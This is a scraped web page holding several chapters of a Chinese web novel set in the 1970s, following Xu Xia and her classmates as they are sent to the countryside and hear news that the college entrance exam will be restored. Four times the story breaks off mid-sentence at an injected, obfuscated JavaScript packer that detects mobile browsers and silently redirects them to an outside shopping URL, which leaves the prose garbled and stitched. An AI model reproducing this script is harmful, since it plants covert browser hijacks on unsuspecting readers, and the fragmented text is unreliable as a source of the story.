“自己回去写份3000字的检讨,周一升国旗的时候当着全校同学的面念!”许老师扔下这句话,噔噔噔往教室外面走。 徐夏三人赶紧溜走了。 “哎,等等。”见徐夏同宁文手牵手往宿舍楼蹦,孟珏赶紧挡在了他们面前。 徐夏指指漆黑一团的天空说:“你早点回家吧,不早了。” 孟珏尴尬地咳嗽了两声:“以后我尽量不来教室找你们,免得再有人像今天一样说闲话。” 这算什么事?孟珏该不会因此内疚了吧。 徐夏哑然失笑:“没关系,你别放在心上,清者自清。” 说完,徐夏还怕孟珏往心里去,还特意伸出手拍了拍孟他的肩膀。 “嗯。”孟珏轻轻点头,声音细如蚊吟。 站在一旁的宁文看得一清二楚,孟珏的脸变得更红了。 徐夏偏着头问:“这下没事了吧?” 孟珏点点头又快速地摇摇头:“还有件事,我爸不是一直随部队驻扎在平京嘛,他昨天来电话,说是可能要恢复高考,我刚才来找你们,就是为了这件事。” 这还是徐夏第一次听到孟珏提起他爸,之前她因为孟珏随母姓这件事,还恶意揣测过,他是不是没有父亲。 “所以你们家里要是有困难,一定要同我说,如果不是像何秀芳家里那种情景,一定得好好学习坚持下去。我也希望自己将来有机会能上平京去读个大学,开阔一下眼界。”孟珏一边说一边露出了向往的眼神。 徐夏不由得有些脸红,她和宁文可没打算把这个消息告诉孟珏。 结果孟珏得到这个消息,第一反应就是来告诉她们。 “不过你们也别高兴得太早,”孟珏继续说道,“我爸说,去年本来准备在全国搞几个试点,从高中生里面选一批成绩优异、家庭清白的去读大学,结果也不了了之了。” 试点?徐夏努力回忆起上辈子看过的新闻,好像没有这一条啊。 “行了行了,我们知道了,多谢你。”宁文双手合十作了几个揖。 孟珏见话带到,便翻身上了车,快速地消失在了夜色里。 果然在下一周的国旗下讲话,刘大志别别扭扭地上台做了检讨,不知道稿子是不是被许老师审过,并没有提到徐夏和孟珏的名字。 校长也特意强调,要以刘大志为鉴,不允许学生们没有任何根据,就胡乱给人扣帽子,一旦被发现在造谣,就要记过处分。 经过这次教训,刘大志虽然对徐夏仍然没有好脸色,但也没敢再对她使其他绊子。 不过,这不完全是因为他怕被学校处罚。 虽然徐夏同宁文没再将可能恢复高考的事告诉第三个人,但天下没有不透风的墙,这消息一传十,十传百,仿佛一阵风似的,就在阳高传开了。 所有的人一改往日的精神状态,股足了劲想要抓住这可能会出现的机会。 刘大志也不例外,他现在一门心思搞学习,没有精力再争对徐夏。 说来也奇怪,孟珏自从上回来找过徐夏,再也没在四班教室外面出现过。 过去那点关于两人关系不同寻常的议论也慢慢地消失了。 徐夏有好几次在食堂遇见孟珏,都主动上前同他打招呼,孟珏不知道是刻意避嫌还是别的原因,对徐夏的招手都视而不见。 徐夏想了半天都没弄懂究竟发生了什么事,宁文也是一问三不知。 该不会在哪里得罪了孟珏自己却没察觉吧! 不过这点小困扰很快就被徐夏抛之脑后,反正从认识孟珏那天起,他就是别别扭扭的一个人,谁知道现在又是怎么了。 孟珏不搭理她,徐夏也乐得清闲。 因为现在不仅阳高的课业变得更加繁重,连解放大队的事也愈加复杂了起来。 自打上回牡蛎养殖一举成功,顺利卖得了好价钱,宁富田不光给队里添置了几条机帆船,还给每艘船都安装上了制冰设备和冷藏库。 徐夏周中在学校上课,周末回家还要给船员们讲解制冰理论和冷库管理,一天也不得休息。 这下解放大队每次出海,就不再是孤孤零零两艘了,而是浩浩荡荡由十艘船组成的船队。 牡蛎养殖赚了大钱,不用宁富田挨家挨户去宣传,大家都蠢蠢欲动,自告奋勇要加入。 在徐夏的建议下,大家先将原来的海塘加固,又重新修建上了进出口水闸。 这还没完,徐夏又绕着解放大队筛选出一批自然条件适宜、水流通畅的泥沙地作为新的育苗基地,解放大队至此掀起了一场轰轰烈烈的牡蛎养殖大赛。 原先挨着队部食堂的简易加工作坊也扩建成了一座带有冷冻库的海产品加工厂,附近出海的大队都会把捕捞来的东西运到解放大队来加工。 解放大队的日子是越过越好了,家家户户都将原来简陋的草房推倒,买来红砖,在原址修起了砖瓦平房。 翻过年时间很快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13305789|132128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来到了8月,徐夏没能等来恢复高考的确凿消息,反而迎来了毕业后上山下乡。 许老师坐在讲台上,念一个学生的名字,就上去一个人领自己的《知识青年上山下乡通知书》。 “余方。” “莫晓云。” …… 念到宁文的名字,她咚咚咚跑上去,竟领下来了三张,顺手就分给了徐夏和赵晓莹:“喏,你俩的。” 原来他们三人分到了一处。 徐夏低头看起了《通知书》上的内容。 只见发黄的纸张上印着一排排铅字:“……你遵循伟大领袖关于‘知识青年到农村去’的号召……已被批准去渔阳公社参加光荣的社会主义建设……” “恭喜呀,你们终于从哪儿来回哪儿去了,”隔着一条过道的刘大志语气不善,一张嘴就开始放屁,“以后再也不用长途跋涉来县里了。” 今年上山下乡的政策松动了许多,不同于过去必须去农村、农场或建设兵团,可根据家庭情况务工或务农。 像刘大志,他不愿意上山下乡吃苦,他爸就在单位办理了内退,让他去顶岗。 赵晓莹过去户口在公社,按照政策就是回渔阳公社插队,不再用长途跋涉远赴外省。 而徐夏同宁文这种本就来自农村的,自然也是回到原籍当知青。 徐夏三人此时正在座位上热火朝天地讨论回队里会被分配什么工作,猛然听见刘大志的冷言冷语,齐刷刷翻了个白眼,半点没搭理。 刘大志见三人不说话,更得意了,昂起头提高了声音:“要我说,你们学习那么努力有什么用,又不能去读大学,还不得当农民!” 临近毕业这几个月,刘大志见高考无望,彻底放弃了学习,面对每日废寝忘食学习的三人组,不是阴阳怪气,就是冷嘲热讽。 他这话虽然不好听,但也没乱说。 徐夏她们过去学农时被叫学生仔,现在下乡去务农就是真农民了。 “农民怎么了?没农民你早晚饿死。”宁文不服气地小声反驳。 刘大志洋洋得意,晃着脑袋正打算接着往下说,黑板上方的小喇叭突然响了起来,一阵嘈杂过后,传出了教导主任李文平的声音:“同学们,好消息!特大好消息!” 刚才还闹哄哄的教室瞬间安静了下来,这还是他们头回听到古板严肃的李文平说话这么沉不住气。 许老师发完《通知书》口干舌燥,正举着茶杯咕咚咕咚喝水,直接这几声“好消息”吓得一哆嗦,喉咙里呛得了一口水,顿时剧烈地咳嗽起来。 兴许是察觉到自己言语的不妥,小喇叭安静了一会儿,李文平清了清嗓子:“今天的《阳县早报》送来的有些晚,有篇文章是关于高考的,我给大家简单读读……不管招多少大学生,要坚持考试制度,尤其是重点学校……” 一时间,教室里仿佛一个油锅,瞬间炸开了花。 这短短的几句话代表了什么不言而喻。 这是真的要恢复高考了,终于让大家等到了。 71.重回解放大队 刚才还趾高气昂的刘大志此时脸色已经变得惨白,嘴里不停念叨着:“完了……完了……” 他最近几个月都抱着‘当一天和尚撞一天钟’的态度,不光上课在神游天外,就是老师布置的作业也是能抄就抄。 反正有工作了,不用去乡里当知青了,要不是他爸单位要求必须有高中毕业证,他恨不得马上就辍学回家。 许老师将这一切都看在眼底,先是找他谈心,又是亲自去家访,可惜无论是刘大志本人还是他父母,都是嘴上说得花花,手上仍然是老一套,糊弄过去完事。 良言难劝该死鬼,他自己都不想学习,你老师再着急有什么用,只要他不影响其他学生,许老师也就睁一只眼闭一只眼了。 一旦真恢复高考,就刘大志这种把知识都抛之脑后的人,怕不是只能交白卷了。 虽然他有了工作没错,可哪里比得上大学毕业分配的好工作啊,就是那些工农兵大学生,毕业了还能留在大城市呢。 徐夏噗嗤一声笑出了声:“刚才也不知道是谁说学习没用的。” “不知道,可能是鬼吧。”宁文也话里有话。 “安静!”许老师猛地一拍桌,“听李主任把文章读完。” 小喇叭里李文平的声音还在继续:“……今年是过渡期,可能继续沿袭‘自愿报名,群众推荐,领导批准,学校复审’的方针”招生……” 啊?这下大家傻眼了,这不还是老一套嘛,难道他们还要再等? 短短几分钟,徐夏体验了一把座过山车的感觉,心情一下子跌入了谷底。 这下刘大志又得意了起来,一扫刚才的阴霾:“我说了吧,你们真是在做白日梦!还得乖乖去当农民” 说完,哼着歌出了教室,活脱脱一副小人得志的样子。 赵晓莹耷拉着脸转过头:“看来咱们还得再等一年了。” 一时间教室里此起彼伏的都是叹气声。 “大家别灰心,听我说,”许老师啪啪啪拍了三下巴掌,“这篇文章是咱们阳县写的,里面的用词都比较谨慎,并没有盖棺定论,希望大家今天去了知青点,还是得抽时间继续备考。” 听了许老师的话,学生们又恢复了精气神。 许老师放下心来,抬起手腕瞄了眼手表说:“时间差不多了,大家赶快将东西都收好,该送你们去知青点了。” 徐夏三人赶紧将课桌上的大红花别在在胸前,顺着人潮出了教室。 教学楼前并排停着数量大卡车,每个车斗侧面都悬挂着一条红色横幅,上面黄色的大字不是写着“广阔天地炼红心,扎根农村干革命!”,就是写着“到农村去,到祖国最需要你的地方去”。 还有一群手拿 看得人热血澎湃,心生向往。 宁文动作快,先跑到了四班的大卡车后面。 这车斗极高,下端竟超过了宁文的额头。 徐夏和赵晓莹紧跟其后,分别从两边抱住宁文的腿,轻轻向上一托,宁文就爬上了车斗。 待宁文在车斗上站稳后,将手上的灰尘一拍,又探出身子将车下两人身上的包裹都接了过去。 轮到赵晓莹了,徐夏蹲下身紧紧抱住赵晓莹的双腿,用力一举,将她也抬上了车斗。 这下只剩下徐夏还没上去了。 见旁边有个梯子,徐夏正打算搬过来用,谁知就被隔壁班的人抢先了,徐夏只好站在一边等他们用完。 “哎,你把手给我们。”宁文同赵晓莹趴在车斗里,四只手朝徐夏伸了过来。 两人各自拽着徐夏一只手死命向上拉,结果三个人脸都涨红了,也没把徐夏拉上去。 “哎,踩我肩膀上去。”突然一个声音在徐夏身后响起。 她一转身,撞进了个结实的胸脯里,抬头一看,竟然是孟珏。 今天怎么没躲着她了? 孟珏最近这半年个字见风长,原本徐夏只比他矮一个头,现在嘛,还不到他肩膀。 “这不好吧,”徐夏指着孟珏的衣服撇撇嘴,“该把你衣服踩脏了。” 孟珏今天穿着他那件崭新的蓝白间隔海魂衫,时髦极了,引得不少男同学侧目。 孟珏自顾自蹲下身,拍了下自己肩膀,目不斜视地说:“你要是想他们继续盯着我们看,就继续等。” 徐夏用余光瞥了一眼,果然有越来越多的人向这边看了过来,捂着嘴和同伴交头接耳,别提多碎嘴子。 “你踩吧,反正是孟珏主动的,衣服脏了他再洗就行了。”宁文在上面催促起来。 赵晓莹帮腔道:“就是,你快上来就没人指指点点了。” 徐夏可不想引人注目,可旁边的梯子还不得空,她只好小心翼翼地踩上了孟珏的肩膀。 没想到孟珏看着瘦,这肩膀却实打实很牢靠,徐夏踩在上面觉得分外踏实。 孟珏双手牢牢握住徐夏的脚腕,像攥着一件珍贵的宝物,缓缓站了起来,徐夏就这样被他托进了车斗里。 其他没耐心等梯子的人也有样学样,互相当起了“垫脚石”。 “谢啦,”徐夏转身道了个谢,就打算往车斗前面挤挤。 “慢着,等等我!”谁知孟珏直接将他的书包扔进了车斗,一双手也搭在了车斗下端。 要不说人比人,气死人呢,孟珏双手用力向上一撑,就这样轻松地爬上了车斗。 徐夏摸不着头脑:“你上来干嘛?这是我们班的车,要开去渔阳公社的。” 孟珏从地上捡起自己的书包背在身上理直气壮地说:“她俩没告诉你吗?我也去渔阳公社啊,不坐你们班的车坐谁的车?” 啊?徐夏瞪大眼睛看向身后的宁文和赵晓莹。 两人神色古怪,抬头看看天,又低头看看地,顾左右而言他,就是支支吾吾说不清楚为啥不告诉徐夏。 徐夏还以为,就凭孟主任在纺织厂的职务和威望,于公于私都能将孟珏塞进纺织厂,没想到孟珏竟然也选择了去当知青,还是去渔阳公社。 “你怎么不进厂啊?”徐夏用胳膊肘戳戳孟珏的肚子,小声问。 “靠家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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卡车逐渐在路上慢慢分开,最后只剩下徐夏她们搭乘的这辆孤单地驶向了渔阳公社。 快驶拢渔阳公社,徐夏就看见乌压压一群人挤在大门口,个个都伸长了脖子,不知道在看什么。 等卡车在门口停稳,孟珏一马当先跳下车斗,又转过身,站到一旁,抬起胳膊,依次给往下跳的同学当个支撑。 徐夏也照葫芦画瓢跟着往下跳,谁知她运气不好,竟然不小心被车沿绊了一下,直直地向前摔了下去。 把宁文同赵晓莹都吓得愣在了原地。 幸好孟珏眼疾手快,一个箭步挡在徐夏身前,稳稳将她接在了怀里。 徐夏刚才紧闭着双眼,已经做好了头朝下摔个狗吃屎的准备,此时见自己现在好端端地站在地上,后怕地拍了怕胸脯,长舒一口气后,睁开眼同孟珏说了声谢谢。 她不道谢还好,她这一道谢,孟珏的脸唰地红成了猴屁股。 72.拒绝教书 等知青们依从卡车上下来后,公社门口聚集的那堆人便热情地围拢了上来,原来他们是各个大队派来接人的。 他们一边对着名单大声念名字,一边伸长了脖子往知青堆里挤: “余方,谁是余方同志?” “莫晓云,莫晓云在哪儿?” …… 被唤到名字的知青也一边大声回应着一边奋力朝前挤了过去: “是我!” “到!” …… 一时间,公社门口人声鼎沸,热闹的仿佛菜市场。 幸好徐夏他们从车上下来的晚,只能站在人群外围,不然现在非被挤成肉饼不可。 徐夏和宁文是早就知道要从哪儿来回哪儿去的,就是解放大队不来人接,她俩也知道自己回去。 但赵晓莹和孟珏的去处可还不清楚。 四个人竖起耳朵听了半天,也没听到有人唤他俩的名字。 “哎哟,我等你们好久了,可算是来了。”一个熟悉的声音突然从人群里传了出来。 徐夏回过头一看,宁富田正奋力从压肩叠背的人堆里往他们这边挤呢。 宁文赶紧跑过去,扒拉开挡在宁富田身前的几个大队干部,将他拉了出来。 宁富田上气不接下气地从怀里掏出张皱皱巴巴的纸,却因为气喘的厉害,半天没说出个所以然。 宁文见状一把将纸夺过来,原来上面正记载着分到解放大队的知青名单。 宁文隐约能认出头两个名字正是她同徐夏,后面的字却因为长久地被宁富田窝在怀里变得模糊不清,她不禁憋着嘴嫌弃道:“大爷,你能把这有事没事往怀里装重要东西的习惯改了吗?以后给赵书记汇报材料,你也带个这么腌臜的东西过去?” “我这不是没地方揣吗?”宁富田一边大喘气一边指着名单说,“剩下两个人是孟珏和赵晓莹。” “太棒了,我们又可以继续在一起了。”赵晓莹乐得眉飞色舞,一把将宁文同徐夏搂住,三个人嘻嘻哈哈抱在了一起。 听到自己的名字从宁富田口中出来,孟珏终于松了一口气,他偷偷用余光瞥了眼徐夏,只见她的脸上也露出了赵晓莹同款笑容。 她也会因为我的到来而高兴吗?孟珏这样想着,脸上竟露出了痴笑。 宁富田看着眼前乐成一团的三个闺女和旁边待站着傻笑的孟珏,开始怀疑自己同赵书记要人的决定是不是正确的了。 周围那些刚认完“亲”的知青和大队干部也纷纷被这边四个人的动静吸引了过来。 “走吧,上车,咱们回家。”再不打断这四个人,不知道他们要在这公社门口笑多久,宁富田可丢不起这人。 说完,他也不管四个人有没有跟上,自顾自朝公社不远处的一颗大榕树跑了过去,那里正停着解放大队今年新买的一辆小货车。 这回车斗矮,倒是不用孟珏当凳子了。 见徐夏不需要自己搀扶就噔噔噔跳上了车斗,孟珏心里竟有些失落。 待所有人都上了车斗,货车便“噗噗噗”发动往解放大队开去。 “支书大爷,他俩咋这么凑巧也分咱们那儿去了?我记得前几年咱们那儿可没分过知青啊。”一路上,宁文憋不住,好奇地问了起来。 “为啥就单你们队没知青?”“”八卦是人类的本性,赵晓莹对这种逸闻特别感兴趣。 “还不是因为过去解放大队条件不好,吃穿都成问题,没几个知青愿意来,”宁富田面露窘相,一边扣脑袋一边说,“勉强分来两个,没插队两天,就跑去公社一哭二闹三上吊,要赵书记给他们换地方……” 这事徐夏和宁文都清楚,说的是前几年分到解放大队的两个知青。 解放大队那时候穷,没钱买砖瓦他们修知青点,考虑到他们都是城里来的,就安排他俩在几个条件稍微好点的大队干部家里搭伙。 谁知道没住几天,这两个从大城市来的知青就待不住了,跑到公社告状,说解放大队的人想方设法苛待他们,不仅让他们没日没夜的干活,还顿顿给他们喝米都没几粒的粥。 听到这里,赵晓莹嘴巴张得快能吞下一颗鸡蛋了,她显然不相信解法大队会干出这么离谱的事。 “这也行?真是会哭的孩子有奶吃。”孟珏按耐不住瘪嘴道。 徐夏见听见孟珏这声吐槽,忍不住在心里感叹,赵书记口风可真紧,这么多年竟然一点没回家讲过这事。 宁富田继续讲了下去。 赵向前甫一听两个知青的话有些生气,当即就想把宁富田抓来骂。 但他冷静下来后,再一细看两个知青,不仅声若洪钟,身上穿的衣服也比插队前还要紧绷了几分,不像是没吃饱饿肚子啊,这怕不是在撒谎吧。 赵向前便亲自去解放大队调查是怎么一回事,嘿,还真的有猫腻。 当时解放大队家家户户都揭不开锅,搭伙的大队干部心疼两个知青跋山涉水来他们这吃苦不容易,拿出自己压箱底儿的那点储备,每天给他们大米粥。 煮完还用锅盖贴着锅壁捞起来一圈米,装到海碗里给知青吃干的,还拿出准备换钱的鸡蛋给他们补充营养。 大队干部同家里人就吃那顺着锅盖缝隙重新流回锅的一点米汤,一个个饿得面有菜色。 至于干活,那更不用说了,他们一天偷奸耍滑,能干五个公分就不错了,还抵不上半大的孩子。 宁富田见两个知青倒打一耙,也极为生气,冲着赵向前就发火,大声嚷嚷着要撂挑子不干。 赵向前连忙将宁富田劝慰一番,不光答应将这两个不懂事的知青带走,还应承他以后再分知青过来得宁富田点头。 宁富田这才作罢。 故而最近几年解放大队都没知青分过来,宁富田也乐得清静。 见四人听得入迷,宁富田得意地翘起二郎腿说:“可现在不一样了,咱们大队日子眼见着好了起来,工分值在整个渔阳公社都是数一数二的,简直变成了个香饽饽,外队的都想嫁到咱们这里来享福呢……” “大爷,你这就扯远了,讲他俩为啥去我们那儿就行。”徐夏见宁富田说起家常来就像那脱缰的野马,越扯越远,连忙出言将他的思绪拉了回来。 “嗨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13336343|132128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,那不是公社给各个大队分知青前,赵书记看重我,特意把我叫过去了嘛,说咱们现在日子好过了,可不能再躲懒不收知青了,我就直接在那名单上把你们四个人圈出来了。” 宁富田一边说一边拍了拍孟珏的肩膀:“孟珏嘛,你帮咱们队好几回,又长得人高马大的,我喜欢你这精神气。” “至于赵晓莹,你每次来学农,活都干得很利索,是个能吃苦的好苗子。”说完,宁富田还冲赵晓莹竖了个大拇指。 短短两句话,就把孟赵二人说得脸通红,连连摆手说“没有”。 原来就这么简单?徐夏不禁有些羞愧,她还以为宁富田把赵晓莹留下,是为了拍赵向前马屁呢。 孟珏:“宁队,那我和小赵去了队里住哪儿呢?” 宁文:“这还用问,晓莹当然住我家,同我和徐夏挤一张床就行。” 孟珏:“那我也能去挤挤吗?” 徐夏:“……” 赵晓莹:“……” 宁文:“……” 宁富田:“……” 见四人都沉下脸瞪着自己,孟珏赶紧解释道:“我的意思是,你家还有没有多余的床。” “没有!”宁文大声喊道,别以为她不知道孟珏打得是什么主意。 宁富田左手撑膝,右手来回搓着自己的额头说:“现在队里没有知青点,小孟你就得委屈一下,去村民家里搭伙了。” 孟珏不由地有些失落。 徐夏:“不用这么麻烦,孟珏可以住我家的房子,反正空着也是空着。” 孟珏刚才还耷拉着的嘴一下子就翘了起来。 三言两语就把这住宿问题给解决了,宁富田放心地闭上眼,准备眯一会儿。 四人都默契的闭上了嘴,安静地看起了路上的风景。 眼看着快到解放大队,宁富田突然睁开眼:“差点忘了正事。” 见四人齐刷刷看着自己,宁富田说:“按规矩,你们是要在队里参加劳动的,我的建议是你们都去村小教书,一来……” 话音未落,徐夏和宁文异口同声拒绝道:“不!我们不去教书,想去干活!” 去年她俩给宁海代课的事还记忆犹新,那工作可不是一般人能胜任的。 自己学得好,不代表就能教得好,她俩确实没那个耐心和细心再去教书了。 宁富田:“小赵你是怎么想的?” 赵晓莹思索了片刻:“我想去教书,我喜欢和小孩子相处。” “你可得考虑清楚,”当着宁富田的面,徐夏不好意思把话说得太明白,只能动用起自己的五官给赵晓莹暗示。 赵晓莹一点就通,当即反悔道:“啊!我成绩不好,还是和徐夏你们去干活吧。” 宁富田:“小孟你呢?” “我成绩也不好,教书就是误人子弟。”现成的借口,孟珏直接捡过来就用。 宁富田真要被气死了,四个高中毕业生,竟然都宁愿去干活,也不想去教书。 成,谁让他是个民主的大队支书呢,那就让你们这帮不知天高地厚的家伙吃吃干活的苦。 73.干活不苦 在徐夏和宁文的帮助下,赵晓莹和孟珏很快安顿了下来。 宁富田布置给他们的第一项任务,就是跟着郑小英去地里种“麦瓜”。 许是头天夜里三个人夜话说久了,第二天早上后院里鸡打鸣了三遍,都没能把三个人叫醒。 徐夏正做着同宁文一起进入大学校园的美梦,“嘭嘭嘭”三声急促的敲门声,一下子将她从梦境中踢回了现实。 徐夏揉了揉眼睛,只见文昕正叉着腰站在床边,一双柳眉倒竖:“三只小懒猪,快起来,孟珏都过来帮忙做早饭了。” 徐夏有些意外,没想到孟珏这十指不沾阳春水的厂子弟竟然是个会做饭的。 徐夏正想着呢,贴着她睡的宁文此时也睁开了眼睛,一个鲤鱼打挺就站在了床上,咚咚跳下去,从柜子里翻出来三套衣裤,先给自己笼上一套,又将剩下的两套扔回床上。 徐夏一边传衣服一边将仍旧在熟睡的赵晓莹晃醒,催促道:“快起来,第一天下地,可不能让郑主任把我们看轻了。” 等到徐夏洗漱完毕进入堂屋,只见孟珏双手各端一海碗从灶房里出来,脸上还有些没擦干净的面粉,显然是忙了一早上。 待四人匆匆将早饭吃完,跑到地里,虽然此时太阳还没出来,但村民们已经将栽种的地翻好土了。 郑小英正站在田埂上,等候四人多时了,她一边踢脚边的布口袋一边抱怨道:“你们可算是来了,一人拿一把剪刀,先跟着我去学剪瓜蔓。” 徐夏蹲下身,打开布口袋,从里面翻出四把大铁剪,分给了大家。 这“麦瓜”其实就是秋红薯,要先从春季种下的红薯上剪下瓜蔓,再插到地里。 郑小英将裤腿挽起,蹲在一窝窝红薯苗旁,双手握剪,咔嚓一声将瓜蔓剪下,再扔到随身带着的竹篮里,动作一气呵成,分外熟练。 四人也有样学样,各自在一排红薯苗前蹲下开始劳动。 刚才看郑小英做得轻松,等到真正上手,徐夏却觉得没那么简单,光是剪蔓,就需要搭上全身的力气。 等到面前这竖苗剪得差不多的时候,烈日高悬,热浪滚滚,徐夏的上衣已经被汗水浸泡透了。 再一用力,只觉得手指钻心的疼,徐夏低头一看,她那只握着剪刀的右手,已经磨出了一层薄薄的茧子,一颗颗透亮的水泡也出现在了手指间。 刚才那下用力,不小心戳破了食指上的一颗水泡,淡黄色的液体混合着泥土从指尖缓缓流出,风一吹就干透了。 徐夏正打算继续剪蔓,突然眼前伸出来一只指节分明的手紧紧握住她的右手腕。 徐夏抬头一看,是孟珏。 孟珏满脸焦急,关切地问:“你手受伤了?” “嗨,不打紧,就手上的水泡破了,”徐夏用力将手抽出来,满不在乎地说,“一会儿我用水冲冲就行了。” 孟珏却像是没听懂似的,自顾自地说:“你在这里别动,我去拿点消毒的东西来。” 说完,孟珏扔下剪子,头也不回地跑出了地里。 任徐夏怎么在后面怎么他叫也没用。 “这伢子,这么快就受不了要撂挑子了?”郑小英从旁边走过来,瘪瘪嘴说,“也难怪,他一个城里来的,吃不了苦也正常。” 徐夏不好意思地解释起来:“婶,你错怪孟珏了,他是看我手磨破了,去拿消毒的了。” “手磨破了?婶子看看,”郑小英忙扔下手里的工具,将徐夏的手掰开,仔仔细细地观察起来,“嗨,就这点伤,哪里值得他跑这么一趟。” 徐夏吐着舌头说:“我也这样说呢,他非不听,太小题大作了。” “小孟可不是小题大做,他是别有用心!”郑小英靠着徐夏蹲下来,压低声音说,“徐夏,你偷偷告诉婶子,这小孟是不是对你有意思?” 徐夏:“……” 郑小英见徐夏说不出话,觉得自己猜中了,正色道:“你可得听婶子一句劝,这小孟看着一表人才,也挺紧张你,但谁知道是不是装的,你小姨李萍当初嫁到公社不也是看着天好地好,谁知道……哎!不说了,晦气!” 这都什么跟什么呀,徐夏只觉得自己跳进黄河也洗不清了。 “快,把手伸出来,我给你处理一下。”怪不得郑小英不继续说了,原来是看到孟珏回来了。 徐夏怕郑小英再节外生枝,做出什么奇怪的猜测,赶紧老老实实地伸出了食指。 孟珏先从脖子上取下军用水壶,熟练地拧开盖儿,倒出清水将徐夏的伤口冲刷干净,又用干净的纸巾轻轻擦拭,将水吸干,再拿出根棉签放进碘伏瓶里转了两下,小心翼翼地涂抹在徐夏的食指上。 这还没完,孟珏从怀里掏出一卷医用纱布,一圈一圈地缠绕在了徐夏的食指上。 徐夏看着自己被裹成个大锤子的食指,哭笑不得。 郑小英将这一切都看在眼底,笑着摇了摇头。 将剪下来的瓜蔓插进土里后,还得往地里施肥。 徐夏走到田边,试着抱起那又大又高的圆铁桶,她使出了吃奶的力气,才将这肥料捅抗到了肩上。 起初在田边走还好,是一片平地,还比较稳当。 待进入地里时,是下坡路,重心又向前,徐夏只觉得肩膀剧痛,双腿像灌了铅似的,挪动一步都困难,感觉就像是要瘫痪了,只能咬紧牙关,硬撑着向前走。 走了两步,肩膀上突然一阵轻松,原来是孟珏将一罐肥料抬进地里后,见徐夏表情狰狞,便赶紧跑过来,同她分担这铁桶的重量,两人配合默契,就这样将一罐罐肥料抬进了地里。 这还没完,8月这几天雨水少,还得挑些水去浇地,一天下来,百担有余,四人都累极了,腰酸背痛,胳膊也被压得有些使不上劲儿。 干完活回到家,晚饭正放在铁锅里保温,宁海同文昕出门了,现在正值暑假,每天晚上都要去小学给村民上课。 四人在堂屋里吃得正欢呢,宁富田手上拿着把折扇,优哉游哉地走了进来。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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宁富田正站在队部院坝里翘首以盼,一看到她的身影,就吆喝开了:“快来!海洋大学给你来电话了!” 徐夏三两步冲进办公室,拿起听筒喂了两声。 电话那头传来了一个熟悉的声音:“徐夏同学,我是田龙诗!有个好消息和一个坏消息,你想先听哪个?” “先听坏的吧!”习惯了做最坏打算的徐夏,自然是要先听最坏的结果。 “坏消息是,‘推荐制上大学’被延后了,你不能在九月入学了。” 啊?这消息犹如晴天霹雳,徐夏直接愣在了原地,手里的听筒也滑了出去。 原本她想的是,就算今年高考仍然不能报名,也能通过之前海洋大学的承诺,顺利去读大学,没想到这也落空了。 “喂?喂?徐夏你还好吗?还有好消息没告诉你呢。”听筒那头田龙诗有些着急。 74.恢复高考 徐夏回过神,赶紧将听筒从地上捡起来,双手紧紧握着听筒,才没让它再次掉落。 “田老师,您说,我在听。”徐夏的声音有些颤抖。 “你这孩子,哪里都好,就是有些沉不住气,”电话那头田龙诗竟然笑了起来,“好消息是,昨天我去平京出差,参加了全国科教工作座谈会,会上已经确定要在今年第四季度恢复高考,所有的新生都将在明年初入学,你也不例外。” 徐夏:“田老师,这事我们阳县的报纸也登了,不还是原来的老一套?” 田龙诗这番话都把徐夏给绕晕了,这说来说去,不还是原来工农兵上大学那一套嘛。 “那可不一样,一开始专家们提出高考按照‘自愿报考,单位同意,统一考试,择优录取’的原则,结果大领导听了之后,极为反对,他原话是这样说的‘万一考生成绩好,结果队里不同意,或者干部脾气坏,不同意报考怎么办?’,最后直接拍板,把‘单位同意’四个字去掉了,以后只要报名就可以参加考试,不再需要层层审批,是真正的靠个人实力说话!” 这可真是个好消息,徐夏心咚咚咚地跳,要不是隔着电话线,她心头的那匹快乐的小马就要跳到田龙诗跟前去了。 “田老师,那我也能参加高考吗?” 电话那头田龙诗一怔:“可以是可以,不过,你是想报其他大学吗?” 田龙诗这是误以为恢复高考了,徐夏看不上他们海洋学院了,想上更好的大学。 “那倒没有,”徐夏连忙解释起来,“我只是想陪宁文一起上考场。” 电话那头田龙诗似乎在和别人交涉什么,过了许久才又接着说起来:“徐夏,我刚才同领导说了你的情况,你成绩好,确实没有非要上我们学校的理由。领导也答应给你个机会,你现在反悔还来得及。” 徐夏真是没想到田龙诗会说出这样一番话来:“田老师,我不反悔。” 田龙诗:“徐夏,你别有心理负担,如果你现在答应了,开弓可没有回头箭,高考结束,无论你考的怎么样,报不报我们学校,都只会收到海洋大学的录取通知书。” 徐夏斩钉截铁地回答:“老师,我真的愿意! 